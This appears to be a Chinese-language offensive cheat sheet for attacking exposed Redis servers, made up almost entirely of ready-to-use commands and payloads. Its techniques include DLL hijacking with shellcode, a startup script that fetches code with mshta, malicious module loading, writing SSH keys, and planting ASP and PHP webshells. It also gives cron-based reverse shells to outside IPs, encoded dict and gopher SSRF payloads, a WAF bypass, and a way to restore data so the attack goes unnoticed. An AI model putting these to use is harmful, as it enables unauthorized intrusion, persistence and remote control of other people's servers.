WinDows
综合利用信息:https://xz.aliyun.com/t/8153
- 系统DLL劫持(需要目标重启或注销)
- 针对特定软件的DLL劫持(需要知道软件的绝对路径,需要目标一次点击)
- 覆写目标的快捷方式(需要知道用户名,需要目标一次点击)
- 覆写特定软件的配置文件达到提权目的(目标无需点击或一次点击,主要看是什么软件)
- 覆写sethc.exe粘滞键(需要可以登录3389)
上面涉及系统目录的操作,前提是Redis权限很高,不然没戏。
dll劫持
按照文章中使用Process Monitor,在使用redis-cli操作的时候,观察缺失的DLL。在Process Monitor Filter里面设置Image Path的值为redis-server.exe的路径,比如我的是C:\Program Files\Redis\redis-server.exe,Path设置为ends with dll。设置好之后,使用redis-cli连接,执行bgsave命令,然后观察缺失的dll,有如下:
1
2
3
4
HKLM\System\CurrentControlSet\Control\Srp\GP\DLL
C:\Program Files\Redis\dbghelp.dll
C:\Windows\System32\edgegdi.dll
C:\Windows\System32\symsrv.dll
当redis-server.exe启动的时候,有如下:
1
2
3
C:\Windows\System32\edgegdi.dll
C:\Windows\System32\symsrv.dll
C:\Program Files\Redis\CRYPTBASE.DLL
执行BGREWRITEAOF的时候,有如下:
1
2
3
4
HKLM\System\CurrentControlSet\Control\Srp\GP\DLL
C:\Program Files\Redis\dbghelp.dll
C:\Windows\System32\edgegdi.dll
C:\Windows\System32\symsrv.dll
最终在Redis目录下可以利用的有两个:cryptbase.dll
和dbghelp.dll
。如果是权限持久性控制,两个都可以,这里我们选择主动攻击,所以使用dbghelp.dll。
使用kiwings师傅的DLLHijacker,因为在系统里面是存在C:\Windows\System32\dbghelp.dll的,所以,复制出来之后,运行脚本,生成DLL工程项目。修改里面的shellcode和dbghelp.dll的绝对路径。
在实际测试的时候,运行脚本报错,所以修改了一部分代码: https://github.com/JKme/sb_kiddie-/tree/master/dll_hijack
把生成的dll重命名为dghelp.dll放在redis的安装目录,然后执行bgsave或者redis-server启动的时候会执行shellcode。
在实际的渗透测试中,使用RedisWriteFile写入文件的时候,因为使用的是主从复制,会把redis里面的数据清空,这样攻击之后可能会被发现,所以可以这样做:
备份redis redis-dump-go 备份: ./redis-dump-go -host 192.168.2.233 -output commands > redis.dump
恢复: redis-cli -h 192.168.2.233 < redis.dump 攻击步骤 准备好dll,使用RedisWriteFile写入 备份Redis: ./redis-dump-go -host 192.168.2.233 -output commands > redis.dump 执行bgsave,获取Shell 恢复Redis: redis-cli -h 192.168.2.233 < redis.dump
写启动项
1
2
3
4
5
6
7
8
9
10
11
12
13
root@kali:~# telnet 10.107.11.76 6379
Trying 10.107.11.76...
Connected to 10.107.11.76.
Escape character is '^]'.
config set dir "C://Users//Administrator//AppData//Roaming//Microsoft//Windows//Start Menu//Programs//startup"
+OK
config set dbfilename 1.bat
+OK
config set dbfilename 1.bat
+OK
set x "\r\n\r\nmshta http://10.107.10.77:8080/123\r\n\r\n"
+OK
save
加载模块执行命令(win+linux)
模块文件需要在redis机器上,(rce目录下已经下载好了)
- windows https://github.com/0671/RedisModules-ExecuteCommand-for-Windows
1 2 3
127.0.0.1:6379> module load exp.dll 127.0.0.1:6379> exp.e whoami 127.0.0.1:6379> exp.e net user
linux
一键反弹shell(基于主从)
- https://github.com/Ridter/redis-rce 发送poc
1
python .\redis-rce.py -r 目标 -L vps -f .\exp_lin.so -v
i:正向连接 r:反弹 需要在公网使用nc监听端口
module load
- 无损写文件 https://github.com/r35tart/RedisWriteFile https://github.com/puckiestyle/RedisModules-ExecuteCommand
1
python .\RedisWriteFile.py --rhost=192.168.0.10 --lhost=192.168.0.8 --rpath=/data --rfile=so.so --lfile=exp_lin.so -v
- 执行命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
//连接redis redis-cli.exe -h 192.168.10.10 //读取模块 redis 192.168.0.10:6379> module load ./so.so //执行命令 redis 192.168.0.10:6379> system.exec "id" "\buid=999(redis) gid=999(redis) groups=999(redis)\n" //反弹shell system.rev 127.0.0.1 9999 #通过dump.rdb文件恢复数据 config set dbfilename dump.rdb #删除exp.so system.exec 'rm ./exp.so' #卸载system模块的加载 module unload system
写ssh公钥
如果.ssh目录存在,则直接写入~/.ssh/authorized_keys 如果不存在,则可以利用crontab创建该目录
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
//本机生成ssh公钥 ssh-keygen –t rsa //输出到foo.txt (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt //开始写入 cat foo.txt | proxychains redis-cli -h 10.160.31.181 -x set crackit proxychains redis-cli -h 10.160.31.181 //设置目录 192.168.1.11:6379> config set dir /root/.ssh/ OK //获取信息,此步骤可以省略 192.168.1.11:6379> config get dir 1) "dir" 2) "/root/.ssh" //设置文件名 192.168.1.11:6379> config set dbfilename "authorized_keys" OK //写入 192.168.1.11:6379> save OK
或者
1 2 3 4 5 6
flushall set 1 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGd9qrfBQqsml+aGC/PoXsKGFhW3sucZ81fiESpJ+HSk1ILv+mhmU2QNcopiPiTu+kGqJYjIanrQEFbtL+NiWaAHahSO3cgPYXpQ+lW0FQwStEHyDzYOM3Jq6VMy8PSPqkoIBWc7Gsu6541NhdltPGH202M7PfA6fXyPR/BSq30ixoAT1vKKYMp8+8/eyeJzDSr0iSplzhKPkQBYquoiyIs70CTp7HjNwsE2lKf4WV8XpJm7DHSnnnu+1kqJMw0F/3NqhrxYK8KpPzpfQNpkAhKCozhOwH2OdNuypyrXPf3px06utkTp6jvx3ESRfJ89jmuM9y4WozM3dylOwMWjal root@kali ' config set dir /root/.ssh/ config set dbfilename authorized_keys save
写webshell
1 2 3 4
192.168.59.4:6379> config set dir C:/inetpub/wwwroot/ 192.168.59.4:6379> config set dbfilename 1.asp 192.168.59.4:6379> set x '<%execute(request("x"))%>' //注意这里要用单引号 192.168.59.4:6379> save
利用contrab计划任务反弹shell
这个方法只能Centos上使用,Ubuntu上行不通,原因如下:
因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/
因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错
由于系统的不同,crontrab定时文件位置也会不同 Centos的定时任务文件在/var/spool/cron/
构造redis的命令如下:
1
2
3
4
5
flushall
set 1 '\n\n*/1 * * * * bash -i >& /dev/tcp/124.221.206.154/2333 0>&1\n\n'
config set dir /var/spool/cron/
config set dbfilename root
save
排错
发现写入不了,随后设置了读写权限 : config set slave-read-only on
绕waf
发现是 404,写 asp 是 500,应该是什么规则拦截了。 随后 bypass 测试,只能上传 asp,而且还可以通过这样绕过:(单引号中间要带空格) set x ' <%execute(request("x"))%> '
ssrf
dict
dict只能执行一条命令dict://0.0.0.0:6379/auth pass,所以无法用来攻击需要认证的redis
- rce
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
1.连接远程主服务器 url=dict://127.0.0.1:6379/slaveof:82.157.178.58:8443 2.设置保存文件名 url=dict://127.0.0.1:6379/config:set:dbfilename:exp.so 3.载入 exp.so url=dict://127.0.0.1:6379/MODULE:LOAD:./exp.so 4.断开主从 url=dict://127.0.0.1:6379/SLAVEOF:NO:ONE 5.恢复原始文件名 url=dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb 6.执行命令 url=dict://127.0.0.1:6379/system.exec:id 带参数的命令:system.exec:mkdir<>111 7.反弹 shell url=dict://127.0.0.1:6379/system.rev:x.x.x.x:8887
- 认证
1
url=dict://127.0.0.1:6379/auth:password
- 写文件
1 2 3 4 5 6 7
url=dict://192.168.124.153:6380/config:set:dir:/var/www/html url=dict://192.168.124.153:6380/config:set:dbfilename:webshell.php //如果存在payload被转义或有过滤情况,可利用16进制,写入webshell //phpinfo url=dict://192.168.124.153:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x20\x3f\x3e" //一句话 url=dict://192.168.124.153:6380/set:webshell:"\x3c\x3f\x70\x68\x70\x20\x65\x76\x61\x6c\x28\x24\x5f\x50\x4f\x53\x54\x5b\x27\x63\x6d\x64\x27\x5d\x29\x3b\x20\x3f\x3e"
- 计划任务反弹shell
1
2
3
4
5
set 1 '\n\n*/1 * * * * root /bin/bash -i >& /dev/tcp/ip/port 0>&1\n\n'
转换一下即:
url=dict://192.168.124.153:6380/set:shell:"\n\n\x2a\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20root\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.124.141/2333\x200\x3e\x261\n\n"
//但还要注意这里不能够这么写:\x5c 而应该直接就 \n,也不要写\r\n 因为linux换行符就是\n你写\r反而可能会出现参数污染
gopher
gopher支持多行。因此要在传输的数据前加一个无用字符。比如gopher://ip:port/_ 通常用_,并不是只能用_,gopher协议会将第一个字符”吃掉”
1
2
3
4
5
#设置文件名,连接恶意Redis服务器
gopher://192.168.172.131:6379/_config%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%2520192.168.172.129%25201234%250d%250aquit
#加载exp.so,反弹shell
gopher://192.168.172.131:6379/_module%2520load%2520./exp.so%250d%250asystem.rev%2520192.168.172.129%25209999%250d%250aquit
- 写文件 工具:https://github.com/firebroo/sec_tools/tree/master/ 使用方法: redis.cmd写入攻击所需的redis指令
1 2 3 4 5
flushall config set dir /tmp config set dbfilename shell.php set 'webshell' '<?php phpinfo();?>' save
运行 redis-over-gopher.py 得到payload 如果这里使用的是curl命令(比如在命令行curl + gopher)url编码一次即可。也就是用下面的payload就可以
1
gopher://192.168.124.153:6380/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%31%33%0d%0a%73%68%65%6c%6c%5f%73%65%63%2e%70%68%70%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%38%0d%0a%77%65%62%73%68%65%6c%6c%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
如果是web端的参数有ssrf,需要url编码两次才可以打进去,只编码一次时 ? 会作为干扰使得后面payload打不进去。编码时只把特殊符号编码即可,如下:
1
gopher://192.168.124.153:6380/_%252a%2531%250d%250a%2524%2538%250d%250a%2566%256c%2575%2573%2568%2561%256c%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2531%2533%250d%250a%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2531%2533%250d%250a%2573%2568%2565%256c%256c%255f%2573%2565%2563%252e%2570%2568%2570%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2538%250d%250a%2577%2565%2562%2573%2568%2565%256c%256c%250d%250a%2524%2531%2538%250d%250a%253c%253f%2570%2568%2570%2520%2570%2568%2570%2569%256e%2566%256f%2528%2529%253b%253f%253e%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2573%2561%2576%2565%250d%250a
写入成功。
- 定时任务反弹shell
centos: 在/var/spool/cron/root 或 /etc/crontab ubuntu: 在/var/spool/cron/crontabs/root 或 /etc/crontab Ubuntu这个计划任务吧,利用redis写入总会出现问题,这里使用centos的环境。
与dict打redis类似先将弹shell语句写入 redis.cmd
1
2
3
4
5
6
flushall
config set dir /var/spool/cron
config set dbfilename root
set shell "\n\n*/1 * * * * bash -i >& /dev/tcp/192.168.124.
141/2333 0>&1\n\n"
save
运行redis-over-gopher.py生成payload,更改payload中的ip和port
1
gopher://192.168.124.128:6380/_%2a%31%0d%0a%24%38%0d%0a%66%6c%75%73%68%61%6c%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%35%0d%0a%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%34%0d%0a%72%6f%6f%74%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%35%0d%0a%73%68%65%6c%6c%0d%0a%24%36%30%0d%0a%5c%6e%5c%6e%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%31%34%31%20%30%3e%26%31%5c%6e%5c%6e%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
同样的,如果不是利用curl的话,直接打需要再次url编码。
1
gopher://192.168.124.128:6380/_%252a%2531%250d%250a%2524%2538%250d%250a%2566%256c%2575%2573%2568%2561%256c%256c%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2533%250d%250a%2564%2569%2572%250d%250a%2524%2531%2535%250d%250a%252f%2576%2561%2572%252f%2573%2570%256f%256f%256c%252f%2563%2572%256f%256e%250d%250a%252a%2534%250d%250a%2524%2536%250d%250a%2563%256f%256e%2566%2569%2567%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2531%2530%250d%250a%2564%2562%2566%2569%256c%2565%256e%2561%256d%2565%250d%250a%2524%2534%250d%250a%2572%256f%256f%2574%250d%250a%252a%2533%250d%250a%2524%2533%250d%250a%2573%2565%2574%250d%250a%2524%2535%250d%250a%2573%2568%2565%256c%256c%250d%250a%2524%2536%2530%250d%250a%25%5c%256e%25%5c%256e%252a%252f%2531%2520%252a%2520%252a%2520%252a%2520%252a%2520%2562%2561%2573%2568%2520%252d%2569%2520%253e%2526%2520%252f%2564%2565%2576%252f%2574%2563%2570%252f%2531%2539%2532%252e%2531%2536%2538%252e%2531%2532%2534%252e%2531%2534%2531%2520%2530%253e%2526%2531%25%5c%256e%25%5c%256e%250d%250a%252a%2531%250d%250a%2524%2534%250d%250a%2573%2561%2576%2565%250d%250a
http
http如果使用存在crlf注入的方式,一样可以用http来攻击redishttp://127.0.0.1:6379?%0d%0aKEYS%20*%0d%0apadding
- 发送三条redis命令,将弹shell脚本写入/etc/crontab:
1 2 3 4
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/evil/21 0>&1'\n\n\n\n" config set dir /etc/ config set dbfilename crontab save
进行url编码:
1
set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fevil%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave
注意,换行符是“\r\n”,也就是“%0D%0A”。